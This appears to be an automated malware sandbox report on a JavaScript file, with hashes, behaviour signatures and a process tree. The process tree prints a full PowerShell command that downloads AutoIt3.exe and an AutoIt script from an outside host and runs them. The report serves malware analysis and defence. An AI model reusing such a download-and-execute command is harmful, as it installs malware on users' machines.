Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    03-11-2023 23:57

General

  • Target

    04112023_0757_online-package(0x1010010).js

  • Size

    252KB

  • MD5

    71c6839fd63593797e796fbd21162538

  • SHA1

    d3a32638fef4c0528ea172cbdbd6a3e1024cac55

  • SHA256

    c1c99b9831d48df390c46dc373f8f5691364aa0118cc50484f0efcb2c8cad4df

  • SHA512

    d662c361e74fbc8e4aa6c8bb3029d123cad276378bb273ce74eee2c5407c0883abeb19de340f6459059da8f22ca40515e923f343a27ba4ec0b4fea4e3bd7b355

  • SSDEEP

    6144:Qe7hgXeerjqlI2Iro+ee7hgXeerjqlI2Iro+8:QIhgSlI23vIhgSlI23V

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\04112023_0757_online-package(0x1010010).js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1728
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443/msiegcubitm' -OutFile 'egcubitm.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'egcubitm.au3'"; Stop-Process -Name "WScript"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2308

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2308-4-0x000000001B170000-0x000000001B452000-memory.dmp

    Filesize

    2.9MB

  • memory/2308-5-0x0000000002410000-0x0000000002418000-memory.dmp

    Filesize

    32KB

  • memory/2308-6-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2308-7-0x0000000002880000-0x0000000002900000-memory.dmp

    Filesize

    512KB

  • memory/2308-8-0x0000000002880000-0x0000000002900000-memory.dmp

    Filesize

    512KB

  • memory/2308-9-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2308-10-0x0000000002880000-0x0000000002900000-memory.dmp

    Filesize

    512KB

  • memory/2308-11-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

    Filesize

    9.6MB